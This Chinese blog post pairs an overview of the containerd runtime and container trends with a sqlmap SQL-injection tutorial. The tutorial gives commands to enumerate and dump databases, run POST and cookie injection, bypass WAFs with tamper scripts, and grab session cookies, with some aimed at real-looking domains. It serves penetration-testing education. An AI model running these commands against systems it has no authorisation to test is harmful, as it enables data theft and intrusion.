zoukankan      html  css  js  c++  java
  • container and injector

    Container

     

    History:

    containerd于2014年出生于Docker,最初是Docker引擎的低层运行时管理器。继2017年3月被CNCF接受之后,containerd已经成为一个行业标准的容器运行时,专注于简单性,健壮性和可移植性,其最广泛的用途和采用是Docker引擎和OCI runc执行器之间的层。containerd可用作Linux和Windows的守护程序。它管理其主机系统的完整容器生命周期,从图像传输和存储到容器执行和监督,再到低级存储,再到网络附件等。

    背景:

    1、containerd是一个行业标准的容器运行时,强调简单性,健壮性和可移植性。containerd可用作Linux和Windows的守护程序。

    2、containerd管理其主机系统的完整容器生命周期,从图像传输和存储到容器执行和监督,再到低级存储,再到网络附件等。

    特征:

    1、OCI Image Spec支持

    2、图像推拉支持

    3、用于创建,修改和删除接口的网络基元

    4、多租户支持CAS存储全局图像

    5、OCI运行时规范支持(又名runC)

    6、容器运行时和生命周期支持

    7、管理网络名称空间容器以加入现有名称空间

    future:

    截至今天,业界有一个重要的趋势,即从VM迁移到容器以部署软件应用程序。其主要原因是与VM相比,容器提供的灵活性和低成本。谷歌多年来一直使用容器技术与Borg和Omega容器集群管理平台大规模运行Google应用程序。更重要的是,Google通过实施cgroup和参与libcontainer项目为容器空间做出了贡献。在过去几年中,Google可能已经在使用容器的性能,资源利用率和整体效率方面获得了巨大的收益。最近,微软没有在Windows平台上进行操作系统级虚拟化,立即采取措施在Windows Server上实现对容器的本机支持。

    在生产环境中,Docker、Rocket和其他容器平台不能在单个主机上运行,原因是它们暴露于单个故障点。当一个容器集合在单个主机上运行时,如果主机失败,在该主机上运行的所有容器也将失败。为了避免这种情况,需要使用容器主机集群。解决这个问题的第一个最开放源码的容器集群管理平台之一是Apache Mesos。它最初是作为一个研究项目在加州大学伯克利分校开发的,后来在2012年左右转移到了阿帕奇(Apache)。Google采取了类似的步骤来实现一个先进的、开放源码的容器集群管理系统,名为Kubernetes。Docker还启动了一个名为Docker Swarm的解决方案。今天,这些解决方案还处于非常早期的阶段,可能需要几个月才能完成全部功能集,并在生产环境中广泛应用。

    微型服务是另一项突破性的技术,而不是一种使用容器进行部署的软件体系结构。微服务是一个Web服务的轻量级实现,与标准Web服务相比,它的启动速度非常快。这是通过在一个服务中打包一个功能单元并将其嵌入到一个轻量级的Web服务器二进制文件中来实现的。

    通过考虑上述事实,我们可以预测,在未来几年内,容器可能会占用虚拟机,有时可能会完全取代它们。去年,我与一些企业合作,在POC层面实施基于容器的解决方案。很少有人想接受挑战并将其投入生产。随着容器集群管理系统变得更加成熟,这可能会很快发生变化

    Injector

     

    网上的注入工具很多,大多也有比较详细的解释,但是大部分windows下的注入软件都是对自己软件的一种推荐,而且很多也不是非常的安全,对于有些破解版本来说,很可能自身会被带有木马,所以,Linux下的注入工具也是非常强大的,不过分的说,可以完全取代Windows下面的所有注入工具。我所介绍的是一款名为SQLMAP的注入工具,有感兴趣的可以去他的官网看看哦!

    首先,SQLMAP是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令

    其次,SQLMAP支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

    SQLMAP支持五种不同的注入模式:

    l  基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

    l  基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

    l  基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

    l  联合查询注入,可以使用union的情况下的注入;

    l  堆查询注入,可以同时执行多条语句的执行时的注入

    一些简单的SQLMAP使用:

    1. 基础用法:

    一下./sqlmap.py 在kali和backtrack中使用sqlmap的时候,直接用:sqlmap

    ./sqlmap.py -u “注入地址” -v 1 –dbs   // 列举数据库

    ./sqlmap.py -u “注入地址” -v 1 –current-db   // 当前数据库

    ./sqlmap.py -u “注入地址” -v 1 –users    // 列数据库用户

    ./sqlmap.py -u “注入地址” -v 1 –current-user  // 当前用户

    ./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库”   // 列举数据库的表名

    ./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库”   // 获取表的列名

    ./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列

    已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、
    2. sqlmap post注入
    我们在使用Sqlmap进行post型注入时, 经常会出现请求遗漏导致注入失败的情况。 这里分享一个小技巧,即结合burpsuite来使用sqlmap, 用这种方法进行post注入测试会更准确,操作起来也非常容易。
       1. 浏览器打开目标地址http:// www.2cto.com /Login.asp
       2. 配置burp代理(127.0.0.1:8080)以拦截请求
       3. 点击login表单的submit按钮
       4. 这时候Burp会拦截到了我们的登录POST请求
       5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
       6. 运行sqlmap并使用如下命令: ./sqlmap.py -r search-test.txt -p tfUPass
    这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt, 而-p 大家应该比较熟悉,指定注入用的参数。
    3.sqlmap  cookies注入
    sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″  –dbs –level 2
    2. 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我 们直接在原有的基础上面加上 –level 2 即可
    利用sqlmap cookies注入突破用户登录继续注入 先把用户登陆的cookie拿到吧, 在收藏夹添加一个链接cookies属性: 名字自己取 javascript:alert(document.cookie),,需要获取当前cookie的时候, 直接点一下这个链接,然后复制一下弹出对话框 里的cookie值就搞定了
    sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
    -p是指指定参数注入
    4. sqlmap遇到url重写的注入
    哪里存在注入就加上 * 号 1 ./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“
    5.sqlmap 编码绕waf注入
    ./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
    在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载
     
  • 相关阅读:
    Open source cryptocurrency exchange
    Salted Password Hashing
    95. Unique Binary Search Trees II
    714. Best Time to Buy and Sell Stock with Transaction Fee
    680. Valid Palindrome II
    Java compiler level does not match the version of the installed Java project facet.
    eclipse自动编译
    Exception in thread "main" java.lang.StackOverflowError(栈溢出)
    博客背景美化——动态雪花飘落
    java九九乘法表
  • 原文地址:https://www.cnblogs.com/phs007/p/10500750.html
Copyright © 2011-2022 走看看